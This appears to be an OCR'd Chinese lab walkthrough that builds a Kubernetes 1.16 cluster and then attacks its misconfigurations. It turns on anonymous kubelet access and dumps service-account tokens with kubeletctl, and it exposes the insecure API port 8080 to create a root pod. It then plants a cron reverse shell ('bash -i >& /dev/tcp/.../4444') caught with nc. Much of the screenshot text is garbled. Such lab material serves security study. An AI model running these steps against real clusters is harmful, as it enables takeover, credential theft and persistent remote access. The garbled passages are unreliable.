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1553 8K8sH1% (v1.16.0)

=8&centos7EHN S B LE master, nodel, node2

master: 192.168.17.133
nodel: 192.168.17.131
node2: 192.168.17.130

# 1524 hostname
hostnamectl set-hostname your-new-host-name

# BB IEHGR
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hostnamectl status
cat <<EOF >>/etc/hosts
192.168.17.133 master
192.168.17.131 nodel
192.168.17.130 node2
EOF
#154host
cat /etc/hosts
#IA A&
{nr Ei [ CentOS 7 64 {ii-master [[3! CentOS 7 64 fii-nodel [} CentOS 7 64 {ii-node2
-~ WA - =0148.
root@localhost:~ -
C(F) fmiB(E) TEHE(V) ®E(S) (T ®Bh(H)
Boot ID: b395514c4d86491 f9f0c3fcag3d5b7al
Virtualization: vmware
Operating System: Cent0S Linux 7 {Core)
CPE 0S Name: cpe: fo: centos: centos: 7
Kernel: Linux 3.10.0-514.el7.x86_64
Architecture: x86-64
| root@localhost ~| # ~C
| root@localhost ~| # cat <<EOF >>/etc/hosts
>192.168.17.132 master
>192,168,17.131 nodel
>192,168.17.130 node2
> EOF
| root@localhost “| # cat fetc/hosts
67 2% 1 o B localhost localhost.localdomain localhost4 localhost4.localdomaing
=1 localhost localhost.localdomain localhost6 localhost6. localdomain®
[92.168,17.132 master-1
[92,168,17,131 nodel
[92.168,17.130 node2
l2F.0.0,1 master
192,168.17,.132 master FE
192.168.17.131 nodel q%p-g};grgf= TG SLLEF
192,168,17,130 node2
EET IR ‘ IRl €t 7.60 45 minsier [F3 CentOS 7 64 fii-nodel ‘ [ CentOS 7 64 {
+* Applications Places Terminal
rpdef@localhost:/home;
File Edit View Search Terminal Help
Verifying : kubectl-1.16.0-0.x86 64
Verifying : libnetfilter cttimeout-1.0.0-7.el7.x
Verifying : socat-1.7.3.2-2.el7.x86 64
Verifying : libnetfilter cthelper-1.6.6-1l1l.el7.x
Verifying : kubeadm-1.16.0-0.x86 64
Installed:
lrsshaandm O &A4 M. 18 A_ND lrsshar~+1 wvOAR AA M. 1A
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Dependency Installed:
conntrack-tools.x86 64 0:1.4.4-7.el7
cri-tools.x86 64 0:1.26.0-0
kubernetes-cni.x86 64 ©0:1.2.0-0
libnetfilter cthelper.x86 64 0:1.0.0-11.el7
libnetfilter cttimeout.x86 64 0:1.0.0-7.el7
libnetfilter queue.x86 64 0:1.0.2-2.el7 2
socat.x86 64 0:1.7.3.2-2.el7

Complete!

[root@nodel rpdef]# cat <<EOF >>/etc/hosts
> 192.168.17.132 master

> 192.168.17.131 nodel

> 192.168.17.130 node2

> EOF
P — Ny oyl P
[root@nodel rpdefl# [} @ ARS - HHPHLRE
|y E£® I [} CentOS 7 64 {is-master [} Cent0S 7 64 fii-nodel 'ﬁ CentOS 7 64 {i-node2
“| 4% Applications Places  Terminal Tee0L20 & %) ¢
rpdef@localhost:/home/rpdef - ®
File Edt View Search Terminal Help
Installing : socat-1.7.3.2-2.el7.x86 64 2/10
Installing : libnetfilter cttimeout-1.0.8-7.el7.x86 64 3/10
Installing : kubectl-1.16.6-8.x86 64 4/10
Installing : cri-tools-1.26.0-9.x86 64 5/18
Installing : libnetfilter queue-1.8.2-2.el7 2.x86 64 6/10
Installing : conntrack-tools-1.4.4-7.el7.x86 64 1/10
Installing : kubernetes-cni-1.2.0-0.x86 64 8/10
Installing : kubelet-1.16.0-8.x86 64 9/18
Installing : kubeadm-1.16.0-0.x86 64 16/10
Verifying : conntrack-tools-1.4.4-7.el7.x86 64 1/18
Verifying : libnetfilter queue-1.8.2-2.el7 2.x86 64 2/10
Verifying : kubelet-1.16.0-0.x86 64 3/10
Verifying : cri-tools-1.26.8-0.x86 64 4/10
Verifying : kubernetes-cni-1.2.0-0.x86 64 5/10
Verifying : kubectl-1.16.0-8.x86 64 6/10
Verifying : libnetfilter cttimeout-1.0.8-7.el7.x86 64 7/10
Verifying : socat-1.7.3.2-2.el7.x86 64 8/10
Verifying : libnetfilter cthelper-1.0.8-11.el7.x86 64 9/10
Verifying : kubeadm-1.16.0-08.x86 64 10/18
Installed:
kubeadm.x86 64 0:1.16.8-0 kubectl.x86 64 0:1.16.0-0 kubelet.x86 64 0:1.16.6-0
Dependency Installed:
conntrack-tools.x86 64 0:1.4.4-7.el7 cri-tools.xB6 64 0:1.26.0-0 kubernetes-cni.x86 64 0:1.2.0-08
libnetfilter cthelper.x86 64 8:1.8.8-11.el7  libnetfilter cttimeout.x86 64 0:1.0.0-7.el7  libnetfilter queue.x86 64 6:1.8.2-2.el7 2
socat.x86 64 0:1.7.3.2-2.el7
Complete!
[root@node2 rpdef]# cat <<EOF >>/etc/hosts
> 192.168.17.132 master
> 192.168.17.131 nodel
> 192.168.17.136 node2 ? j\
> EOF N2 - SHEI OSSR LA =
[root@node2 rpdef]# | RLONT TR ’t‘ X Dlj RAILE

2z Hdocker ATy LA
yum install -y yum-utils device-mapper-persistent-data lvm2
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# L EPTE = Hjdocker IR

yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/ce
# 15E ZFX A docker-ce

yum install -y docker-ce-18.09.9-3.el7

# Jizlhdocker

systemctl enable docker && systemctl start docker

# KB K
systemctl disable firewalld
systemctl stop firewalld

# KlHiselinux

# 122 Hsel inux

setenforce ©

# KA FH] 152¢/etc/sysconfig/selinux X 1F ik &

sed -i 's/SELINUX=permissive/SELINUX=disabled/' /etc/sysconfig/selinux
sed -i "s/SELINUX=enforcing/SELINUX=disabled/g" /etc/selinux/config

# ZHHIX

swapoff -a

# KAZEH, fI7F/etc/fstabiiFEfFHswap H—17-
sed -1 's/.*swap.*/#&/' /[etc/fstab

# BRI ZSH

cat <<EOF > /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-ip6tables =1
net.bridge.bridge-nf-call-iptables =1
EOF

sysctl --system

m £/ ) CentOS 7 64 {i/-master [} CentOS 7 64 fii-nodel ([} CentOS 7 64 fii-node2
-~ VHARF~- AN~ v

root@localhost:~

MHE(F) dRER(E) ZE(V) #EER(S) Zm(T) HEBH(H)
> net,bridge. bridge- nf-call- iptables =1

> EOF

[ root@localhost 7] # sysctl --system
* Applying fusr/lib/sysctl.d/00- system.conf
net.bridge. bridge- nf- call- ipttables =0
net.bridge. bridge- nf- call- iptables =0
net.bridae. bridae- nf- call- arptables =0
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¥ Applying fusr/lib/sysctl.d/50-default.conf ...
kernel.sysrq =16

kernel.core_uses pid =1

net. ipv4.conf.default. rp_filter =1

net, ipv4.conf,all. rp_filter =1

net, ipv4.conf, default, accept_source_route =0

net. ipv4. conf, all. accept_source_route =0

net. ipv4.conf.default, promote_secondaries =1

net. ipv4. conf, all. promote secondaries =1
fs.protected_hardlinks =1

fs. protected_symllnks =1

* Applying fusr/lib/sysctl.d/60-1ibvirtd.conf ...

fs.aio- max- nr = 1048576

* Applying /fetc/sysctl.d/99-sysctl.conf ...

* Applying fetc/sysctl.d/k8s.conf ...
net.bridge.bridge- nf-call- ip6tables =1
net.bridge,bridge- nf-call- iptables =1

¥ Applying fetc/sysctl.conf ... o R
[ root@localhost "] b3 l R ARS - HHBPHEEE

n ER [} CentOS 7 64 fii-master [y CentOS 7 64 f{i-nodel | [} CentOS 7 64 {ii-node2

«* Applications Places Terminal

rpdef@localhost:/home/rpdef

File Edit View Search Terminal Help

net.bridge.bridge-nf-call-ip6tables = ©
net.bridge.bridge-nf-call-iptables = ©
net.bridge.bridge-nf-call-arptables = ©

* Applying /usr/lib/sysctl.d/10-default-yama-scope.conf
kernel.yama.ptrace scope = 0

* Applying /usr/lib/sysctl.d/50-default.conf
kernel.sysrq = 16
kernel.core uses pid = 1
kernel.kptr restrict = 1
net.ipv4.conf.default.rp filter = 1
net.ipv4.conf.all.rp filter = 1
net.ipv4.conf.default.accept source route
net.ipv4.conf.all.accept source route = 0
net.ipv4.conf.default.promote secondaries = 1
net.ipv4.conf.all.promote secondaries = 1

fs.protected hardlinks = 1

fs.protected symlinks = 1

* Applying /usr/lib/sysctl.d/60-1libvirtd.conf
fs.aio-max-nr = 1048576

* Applying /etc/sysctl.d/99-sysctl.conf

* Applying /etc/sysctl.d/k8s.conf ...
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1

* Applying /etc/sysctl.conf

[root@nodel rpdef]# R ARS - HBHP LB E

I
o}
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mr £% [y CentOS 7 64 {ii-master [} CentOS 7 64 {ii-nodel |lﬁ CentOS 7 64 {ii-node2

a* Applications  Places  Terminal

rpdef@localhost:/home/rpdef

File Edit View Search Terminal Help

[root@node2 rpdef]# sed -i 's/SELINUX=permissive/SELINUX=disabled/' /etc/sysconfig/selinux
[root@node2 rpdefl# sed -i “s/SELINUX=enforcing/SELINUX=disabled/q" /etc/selinux/config
[root@node2 rpdef]# swapoff -a

[root@node2 rpdef]# sed -1 's/.*swap.*/#&/' fetc/fstab
[root@node2 rpdef]# cat <<EOF > /etc/sysctl.d/k8s.conf

> net.bridge.bridge-nf-call-ip6tables = 1

> net.bridge.bridge-nf-call-iptables = 1

> EOF

[root@node2 rpdef]# sysctl --system

* Applying /usr/lib/sysctl.d/e@8-system.conf ...
net.bridge.bridge-nf-call-ip6tables = @
net.bridge.bridge-nf-call-iptables = @
net.bridge.bridge-nf-call-arptables = 0

* Applying /usr/lib/sysctl.d/10-default-yama-scope.conf ...
kernel.yama.ptrace scope = 0

* Applying /usr/lib/sysctl.d/50-default.conf ...
kernel.sysrq = 16

kernel.core uses pid = 1

kernel.kptr_restrict = 1

net.ipv4.conf.default.rp filter = 1
net.ipv4.conf.all.rp filter = 1

net.ipv4.conf.default.accept source route = @
net.ipv4.conf.all.accept source route = 0
net.ipvd.conf.default.promote secondaries = 1

net.ipvd.conf.all.promote secondaries = 1

fs.protected hardlinks = 1

fs.protected symlinks = 1

* Applying /usr/lib/sysctl.d/60-1libvirtd.conf ...

fs.aio-max-nr = 1048576

* Applying /etc/sysctl.d/99-sysctl.conf ...

* Applying /etc/sysctl.d/k8s.conf ...

net.bridge.bridge-nf-call-ip6tables = 1

net.bridge.bridge-nf-call-iptables = 1

* Applying /etc/sysctl.conf ... B :
[root@node2 rpdef]# || WIS

e J

# HATHER8S BT =R

cat <<EOF > /etc/yum.repos.d/kubernetes.repo

[kubernetes]

name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x8€
enabled=1

gpgcheck=1

repo_gpgcheck=1
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://n
EOF

# wdEkubeadm. kubectl. kubelet
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yum install -y kubectl-1.16.0-0 kubeadm-1.16.0-0 kubelet-1.16.0-0

# JEizkubelet R4
systemctl enable kubelet && systemctl start kubelet

# IXHEFEL R, SR [preflight] You can also perform this action
kubeadm init --image-repository registry.aliyuncs.com/google_containers --

#ip Hitil 2 #/dimas ter 4

m ki [[¥ CentOS 7 64 fi-master [ CentOS 7 64 {i-nodel [[3! CentOS 7 64 {ii-node2
*E Eﬁ S ~ - i 8 1o B 10 | D L O C) o

root@localhost:~ - a x

MH(F) fREE(E) TE(v) #=E(s) £am(T) #BH(H)

| bootstrap- token] configured RBAC rules to allow the csrapprover controller automatical
ly approve CSRs from a Node Bootstrap Token

| bootstrap- token] configured RBAC rules to allow certificate rotation for all node clie
nt certificates in the cluster

| bootstrap- token] Creating the "cluster- info" ConfigMap in the "kube- public" namespace
| addons] Applied essential addon: CoreDNS

[ addons] Applied essential addon: kube- proxy

Your Kubernetes control-plane has initialized successfully!
To start using your cluster, you need to run the following as a regular user:

mkdir -p $HOME/. kube
sudo cp -1 fetc/kubernetes/admin, conf $HOME/. kube/config
sudo chown $(id -u):$(id -g) $HOME/. kube/config

You should now deploy a pod network to the cluster.
Run "kubectl apply - f [ podnetwork] ,yaml" with one of the options listed at:
https: //kubernetes. io/docs/concepts/cluster- administration/addons/

Then you can join any number of worker nodes by running the following on each as root:

kubeadm join 192.168.17.132:6443 -- token 4hl tv9. ydvj7rl0faijdszl

- -discovery- token- ca- cert- hash shaz56: 700d59590612a$5f7’ c}gega443§‘37bb695?q§d8/?§§a
8ael 557 fe8333cdl515 R LNT ,,\TI)LV\Z PhHSL56 & l
| root@localhost ] # |}

T,

# _FEREETE IR, R8S IR R F i, AT

mkdir -p $HOME/.kube

sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

kubeadm token create --print-join-command

G xR | kel | (G2 centos 764 f-node1 (3 Centos 764 {i-node2 [} Cent0S 7 64 fi-master |

i Applications Places  Terminal Tue 1521 4

rpdef@master:/home/rpdef

sudo chown $(id -u):$(id -g) $HOME/.Kkube/config

You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml” with one of the options listed at:
https://kubernetes.io/docs/concepts/cluster-administration/addons/

Than wvan ran dain anu numhar Af wuarkar aadae b Frunnina tha Fallauwina Aan asrh ae rant.
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T yuu can JULI @ny Ut U WU RS BULE3 LY 1 uTELa Y L UL Luminyg vn coun @a ruu.

kubeadm join 192.168.17.133:6443 --token 34zgkj.5utvigtioid8433h \

--discovery-token-ca-cert-hash sha256:909c6dc5f92b7c52552208e80c4ff45eaffedobdf4fo70ef965388446
683bafs

[root@master rpdef]# mkdir -p $HOME/.kube

[root@master rpdefl# sudo cp -i /etc/kubernetes/sadmin.conf $HOME/.kube/config

[root@master rpdef]# sudo chown $(id -u):$(id -g) $HOME/.kube/config

[root@master rpdef]# kubectl get nodes

NAME STATUS ROLES AGE VERSION

NotReady master 2m2s v1.16.0
ViMwared pols got@macter rpdefl# ~c
[root@master rpdefl# kubectl get nodes
NAME STATUS ROLES AGE VERSION
NotReady master 7m26s v1.16.0
NotReady <none= 27s v1.16.0
NotReady <none> 9s v1.16.0
[root@master rpdefl# ]

# ZHE calico MEEIE1F
# ZE 1 https://docs.projectcalico.org/v3.9/getting-started/kubernetes/)
yum install wget

wget https://kuboard.cn/install-script/calico/calico-3.9.2.yaml
export POD_SUBNET=10.244.0.0/16

sed -i "s#192\.168\.0\.0/16#${POD_SUBNET}#" calico-3.9.2.yaml
kubectl apply -f calico-3.9.2.yaml

[} CentOS 7 64 fir-nodel [ CentOS 7 64 {i-node2

-_.- = 0008 )

root@localhost:~ -

CI(F) dmiE(E) HE(V) F#HR(s) #Hum(T) #BH(H)
customresourcedefinition. apiextensions, k8s, io/ipamhandles, crd. projectcalico. org
customresourcedefinition. apiextensions. k8s. io/ipamconfigs. crd. projectcalico.org
customresourcedefinition, apiextensions. k8s. io/bgppeers. crd. projectcalico.org cre:
customresourcedefinition, apiextensions, k8s, io/bgpconfigurations, crd. projectcalic
reated
customresourcedefinition, apiextensions, k8s, io/ippools.crd, projectcalico.org crea
customresourcedefinition. apiextensions. k8s. io/hostendpoints. crd. projectcalico. or
ad
customresourcedefinition, apiextensions. k8s. io/clusterinformations. crd. projectcal.
created
customresourcedefinition, apiextensions, k8s, io/globalnetworkpolicies. crd. projectc
rg created
customresourcedefinition, apiextensions, k8s, io/globalnetworksets,. crd. projectcalic
reated
customresourcedefinition. apiextensions. k8s. io/networkpolicies. crd. projectcalico.
ated
customresourcedefinition. apiextensions. k8s. io/networksets. crd. projectcalico.org
clusterrole. rbac. authorization. k8s. io/calico- kube- controllers created
clusterrolebinding. rbac. authorization. k8s. iofcalico- kube- controllers created
clusterrole. rbac. authorization. k8s,. io/calico- node created
ctlusterrolebinding. rbac, authorization, k8s, iofcalico- node created

daemonset. apps/calico- node created
serviceaccount/calico- node created

deployment. apps/calico- kube- controllers created ? N2
serviceaccount/calico- kube- controllers created @ LS

[ root@localhost ~1# N

2. HENE iR I SEIRIENIGE
kubeletSTEERIFEANTAIEST, MEBIHTESBRNERE, MRkubeletRER

Y, WEETRIEERPod=id#bREIEEN. anonymousEkilAfalse, {Eiatrue, F
Emode A Webhook{EXHAlwaysAllow,
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vi /var/lib/kubelet/config.yaml
anonymous :
enabled: true

authorization:

mode: AlwayAllow

M ER [} CentOS 7 64 {-master [ Cent0S 7 64 {i-nodel [\ CentOS 7 64 fi-node2

- WRARF - On - _ﬂ-

root@localhost:~/k8s

(R dmEE(E) EWFE(V) FWE(s) #£m(T) HBh(H)

address: 0.0.0.0
apiVersion: kubelet.config. k8s. iofvlbetal

authentication:
anonymous:
enabled: |true
webhook:

cacheTTL: 2mOs
enabled: true

x509:
clientCAFile: /fetc/kubernetes/pki/ca.crt
authori o
mode: |AlwayAllow
webhogk:
cacheRAuthorize L: 5mOs

cacheUnauthorizedTTL: 30s
cgroupDriver: cgroupfs
cgroupsPerQ0S: true
clusterDNS:
- 10,96,0,.10
clusterDomain: cluster,local
configMapAndSecretChangeDetectionStrategy: Watch
containerLogMaxFiles: 5
containerLogMaxSize: 10Mi
contentType: application/vnd. kubernetes. protobuf
cpuCFSQuota: true
"/var/lib/kubelet/config. yaml" 748y /1F&EC HKPHIEE
[ SSSSSSSSSSSSSSS

iGlalkubelet 102500855, HIAARIERGAIA],

« > C O & https://192.168.17.132:10250/runningpods/

JSON  [ReRSEE %

7 5% Z2FirE £8EF Vi JSON
kind: “PodList"

P10 FL17mi 2024/7/28 21:47
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apiVersion:

metadata:

w items:

v 9:

* metadata:

name:
namespace:

uid:

creationTimestamp:

w spec:

w containers:
v 0:
name:
w image:
resources:

status:

v metadata:

name:
namespace:

uid:

creationTimestamp:

w spec:

w containers:
v 8:
name:
- image:
resources:

status:

w metadata:

name:
namespace:

uid:

creationTimestamp:

w spec:

kubeletctl 2— AT Skubelet API 32BaS$T LR, vJLABITkubeletctliifTas

yEis

https://mp. weixin. qq

1
{}

"kube-apiserver-master"”
"kube-system"
"8dcd6befcd871f50aee9853e7cco8222"
null

"kube-apiserver"
"sha256:b385571cabPa5a7818bdad7dal22683d75e8a1987475681ee8blefbd@ébffl2e”
{}

{1

"etcd-master”

"kube-system”
"23364597bf5e3f56b31cc684819759¢ch”
null

"eted"
"sha256:b2756218eeabfB8413221da9959e9483f3919dc2aaabdcd45e7cd@72fcbde27ed”
{}

{}

"coredns-58ccBc89f4-z1s6d"
"kube-system”
"16745643-8209-4f29-96f1-edfcbd424737"
null

.com/s/AMnTixC_ IEX6kKc—R6Scw

SIREINodetfR. MNodeTI REFENE N PRIRS M token, {ERIRFZMKFFIAPI Server
1T3EUE, MITIRENEERFAUR.

wget https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubele
chmod 777 kubeletctl linux_amd64

mv ./kubeletctl linux_amd64 kubeletctl

#7 Hikube Let H9r fpod

./kubeletctl pods -i --server 192.168.17.132

# 19 Z 75 2 [ETfjService Account

./kubeletctl scan token -i --server 192.168.17.132

[root@master S @18 chmod 777 kubeletctl_linux_amdea
[root@master @I mv ./ kubeletctl_linux_amdea kubeletctl
[root@master £ @1 ./kubeletctl pods -i --server 192,168,17.132

Pods from Kubelet

POD

NAMESPACE CONTAINERS

kube-controller-manager-master

kube-system

kube-controller-manager

P11 FL17m
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2 coredns-58ccgc89 fa-wxnch kube-system coredns

3 coredns-58ccs8csgfa-zlsed kube-system coredns

4 calico-kube-controllers-dcecbedcb-nf7ms kube-system calico-kube-controllers

5 kube-scheduler-master kube-system kube-scheduler
& etcd-master kube-system | etcd

7 kube-apiserver-master kube-system kube-apiserver
8 kube-proxy-gtxmj kube-system kube-proxy

9 calico-node-htrmg kube-system calico-node

[root@master @1t ]

[root@master $£ @& 1# ./kubeletctl scan token -i --server 192.165.17.132
1. Pod: kube-proxy-gtxmj

Namespace: kube-system

Container: kube-prox

Url: https: //192.168.17.132: 10250/ run/ kube-system/ kube-proxy-gtxmj/ kube-proxy

Output:
eyJhbGci01JSUzILNiIsImtpZCI6 IjZoYXVPSEDZX0wzND NTWDhx QmNLS1pWemES SUS ZMUNGaEhINNEwd2 x jd3cifQ. ey Jpc3MiOiJrdwllems 1d
GVzL3NLlcnZpY2VhY2NvdWs0 Iiwia3s ViZXJuZXRlcys pbya zZXJ2 aWN1YWN b3 VudCo uYWL 1c3BhY2 U101 IrdWI1LXNS c3R1bSIsImtlYmVybmvo Z
XMuawe vc2Vydml JZWF]Y291bnQvc2VicmVoLms hbWUi01 I rdWl1LXByb3hs LXRva2 VulWp3ZjdrIiwias ViZXJuZXRlcyspbyazZXJ2aWNLYWN]jb
3IVudCazZXJ2aWNLLWF Y291 bnQubmFtZSI6 Imtl YmUtcHIveHk1LCIrdwllems 1dGVzLmlvL3NlenZpY2 VhY2NvdWsoL3 NLlcnZpY2 UtYWN b3 Vud
C51aWgi01I2Y)ES 2ZW02 0C1 INDES LTQ40GQtY JRLOCD ZNWI yNTLE2 MDN1ZDI1LCIzdWI 101 Jze XNo 2W06 c2 Vydml J ZWF j Y291 bnQB a3 ViZS1l zeXNo Z
WOEa3ViZSlwcmo4esSis, XbNI-JloKk reB?uJBPTgxin- JwO-SY0D trhaUDgeds- rMIYhyPs LyIpR2EY21 xyWos G2 1-WyuY thndwqUS? BPx CZk CvwD
Dda3 e19 1E0 rdl OpvoGF7NvcRLPfSI1 g3aQyOb-1dx rv_bkFMkWrihcVjdsFFFxoZAS G PZ35 va 00KseCodmyMZ6 Q7 tCHUTXA_ VBDXLiXIomItzhl
NMk Aa0 LZs8141 C8 MUD L3 upe3 z8 e XuuXoWNWmm36 Y_ pbf2WMat 42 skBhak MesPWZ11KQpLkcP_-VTsaSkBl FjozZgQfyWs rHD rqKrd As J3 JuQJ-vM
bgEagwkKhDLUuJXo ]G fetlnddw

Decoded IWT token ]

KEY VALUE

iss kubernetes/ serviceaccount

kubernetes. io/ serviceaccount/ namespace kube-system
kubernetes.iof serviceaccount/ secret. name kube-proxy-token-jwf7k
kubernetes. iof serviceaccount/service-account. name kube-proxy
kubernetes. io/ serviceaccount/ service-account. uid 6bl17edss-e419-488d-bges-35b255603bd2
sub system serviceaccount: kube-system kube-proxy

2. Pod: calico-node-htrmd
Namespace: kube-system
Container: calico-node
Url: https: //192.168.17.132: 10250/ run/kube-system!callco*node-htrnﬂlnﬂh:a—noda
output:
ethch101JSUleNlIsImthCIBI]ZoYXVF‘SEdZXGsz:IN'I'WthQmNLSlchmBSUE.ZHUNGaEhIIWEwd?x]d3c1f0 eprcaHlolerWchms'Ld

3.EINEE EMIMNEREIEES, FIREEESEFIFEES

|BERABIk8sHIAPI ServerBIASFEFHm NmE : 8080F16443, API Server 2EEFRY
BEANO, HURREKEREEE Ikube-apiserverf@gftizOiH1T. BIAER
T, API Servert2tFMNmOARSS, 8080F16443, BLEAZBHIIRIERGAA),

* 8080imM, BAAEH), THRNEMERGE, —EEEBSECRENAE,
o 6443w, BUASIREINLE (k8s<1.16.0) , MRHAEEFR,
system:anonymousFAF48EZcluster-adminFBFP4E, FHEIKRERGAE).

vi /etc/kubernetes/manifests/kube-apiserver.yaml
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- --insecure-port=8080
- ——insecure—bind—address=@.@.@.@
#insecure-portZhilE ~0O,

https://mp. weixin. qq. com/s/A9MnTixC_IEX6kKc-R6Scw

HA& o N8080 1, Finilinsecure-bind-address=0.9.

P lﬁ', Cent0s 7 64 {i-nodel | [y Cent0s 7 64 {i-node2 [\ Centos 7 64 fij-master |

a‘ AppUcanons Places  Text Editor

*kube-apiserver.yaml

component: kube-apiserver
tier: control-plane

name: kube-apiserver

namespace: kube-system

spec:

containers:

- command:
- kube-apiserver
- --advertise-address=192.168.139.130
- --allow-privileged=true
- --authorization-mode=Node, RBAC
- --client-ca-file=/etc/kubernetes/pki/ca.crt
- --enable-admission-plugins=NodeRestriction
- --enable-bootstrap-token-auth=true
- --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
- --etcd-certfile=s/etc/kubernetes/pki/apiserver-etcd-client.crt
- --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
- --etcd-servers=https://127.0.8.1:2379

--insecure-port=8080

--insecure-bind-address=0.0.0.0

- --kubelet-preferred-address-types=InternalIP,ExternallIP,Hostname

- --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt

- --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key

- --requestheader-allowed-names=front-proxy-client

- --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt

- --requestheader-extra-headers-prefix=X-Remote-Extra-

- --requestheader-group-headers=X-Remote-Group T e

- --reguestheader-username-headers=X-Remote-User ﬁgg I h =
YAML = Tab Width: 8 =

systemctl restart kubelet EBJEIRSSEIHIA8080uHE O AINAIZIN

S

ReaddE 3k
R"E SF 25FE £XEF U

JSON

& JSON

Open = E ~fDesktop i = = =
apiVersion: vl
kind: Pod
metadata:

creationTimestamp: null

labels:

- --Kubelel-client-cerjtiiticate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
- --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key

Ln 26, Col 27 - INS i

e l}; = 2= V==

O O 192.168.17.133:8080

w paths:
o: "/api"
1: "/api/v1l"
- § "/apis"
3: "/apis/"
4 "/apis/admissionregistration.k8s.io"
§: "/apis/admissionregistration.k8s.io/v1"

P13 17
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6: "/apis/admissionregistration.k8s.10/vlbetal”
b & "/apis/apiextensions.k8s.io"

3 "/apis/apiextensions.k8s.io/v1"

9: "/apis/apiextensions.k8s.io/vlbetal™
10: "/apis/apiregistration.k8s.io"

11: "/apis/apiregistration.k8s.io/v1"

12: "/apis/apiregistration.k8s.io/vlbetal”
13: "/apis/apps"

14: "/apis/apps/v1l"

15: "/apis/authentication.k8s.io"

16: "/apis/authentication.k8s.io/v1"

' "/apis/authentication.k8s.io/vlbetal"
18: "/apis/authorization.k8s.io"

19: "/apis/authorization.k8s.io/v1"

20: "/apis/authorization.k8s.io/vlbetal™
21 "/apis/autoscaling”

¥ "/apis/autoscaling/v1"

23: "/apis/autoscaling/v2betal”

24 : "/apis/autoscaling/v2beta2"

2% "/apis/batch”

26: "/apis/batch/v1"

2 "/apis/batch/vlbetal”

28: "/apis/certificates.k8s.io"

29: "/apis/certificates.k8s.io/vlbetal”
30: "/apis/coordination.k8s.io"

31: "/apis/coordination.k8s.io/v1"

32: "/apis/coordination.k8s.io/vlbetal™
33: "/apis/crd.projectcalico.org"

24 “fonic/end mondactenlica amafil

E T SEH—EFRIBL#EKubernetes 45547 LH kubectl, XF Kubernetes ££Efi=1Tdp
<. {RAJLAMERA kubect! SREBERNFE. WMUMEEREHSRUNEERSE.
https://kubernetes.io/zh-cn/docs/tasks/tools/

kubectl.exe -s 192.168.17.133:8080 get nodes #[FEHLEE 2K
kubectl.exe -s 192.168.17.133:8080 get pods
kubectl -s 192.168.17.133:8080 create -f test.yaml #fZ—“ pod
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kubectl -s 192.168.17.133:8080 --namespace=default exec -it test bash #if)

FRERGHRIER T, kubectlBTLAER -s S8d5EKubernetes APIBRSS 28HBHEANIS
O, BEENTHSRIEEEPod, BEESEIMastertirm, MMSCIIXNENERRVEE.

Y“ubectl>kubectl.exe -s 192.168.17.133:8080 get nod

3 59008 memcache.go:265] couldn't get current server API group list: Get "http://192.168.17.133:80
; dial tcp 192.168.17.133:8080: connectex: A connection attempt failed because the connected party di
i , or established connection failed because connected host has failed to res

STATUS ROLES AGE VERSION

Ready master  6hddm v1.16.0

Ready <none> 6h3Tm vl.16.0 %
node2 Ready <none> 6h36m v1.16.0

- \kubectl>kubectl.exe —s 192.168.17.133:8080 create
—f test.yam
pod/rpdef created

=\kubectl>kubectl.exe -s 192.168.17.133:8080 get pod

NAME READY STATUS RESTARTS A ?G
rpdef 8/1 ContainerCreating ©

BInFHFARIEIZEAIdockerFggrpdef

F: NN BN \kubectl>kubectl.exe —-s 192.168.17.133:86880 ——names
pace=default exec —it rpdef bash

kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND]
instead.

ront@rpdef:fﬁ whoami

root

root@rpdef:/# 1s

bin dev docker-entrypoint.sh home 1ibs64 mnt proc 1% SEW, Lppvar

boot docker-entrypoint.d etc 1ib media opt root sB sk Jusr 3

root@rpdef: /#

echo -e "* * * * * poot bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n"

Fo i ¥ \kubectl>kubectl.exe -5 192.168.17.133:86808 —-names
pace=default exec —it rpdef bash

kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND]
instead.

root@rpdef: /# whoami

root

root@rpd /# 1s

bin  dev docker-entrypoint.sh home 1ib64 mnt proc run srv tmp var

boot docker—entrypoint.d etc lib media opt root sk SYS\ USC -+ 1]

root@r :/# echo -e "x * * * x root bash -i >& /dev/tcp/192.168.17.129/u4 >S4\ %> mnt / efcy CEAntablY/
root@rpdef: /#

HENTaRE—Pshell, ER—MEUNLEF—MET, AOIHTERLE

lo.
Shell No. 1 =
XE(F) ThE(A) 4RIE(E) , BA(H)

RX packets @ bytes @ (0.0 B)
errors @ dropped @ overruns © frame @
packets @ bytes @ (0.0 B)
errors @ dropped @ overruns @ carrier @ collisions @

<D BROADCAST. RUNNING,MULTICAST> mtu 1500
168 17.129 netmask 255.255.255.0 broadcast 192.168.17.25

inet6 fe80:: 20c:29ff:fe6a:9502 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:6a:95:02 txqueuelen 1000 (Ethernet)

RX packets 236880 bytes 17472336 (16.6 MiB)

RX errors @ dropped @ overruns © frame @

TX packets 231707 bytes 13910637 (13.2 MiB)

TX errors @ dropped ® overruns @ carrier @ collisions ©
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, LOOPBACK, RUNNING> mtu 65536
netmask 255.0.0.0
prefixlen 128 scopeid @x1@<host>
txqueuelen 1000 (Local Loopback)
packets 10 bytes 390 (390.0 B)
errors @ dropped @ overruns @ frame @

packets 10 bytes 390 (390.0 B)
errors @ dropped @ overruns @ carrier @ collisions ©

root@zip:~/E£ M # nc -lvvp 4444
listening on [any] 4444 ...

TX errors ® dropped @ overruns © carrier ® collisions ©

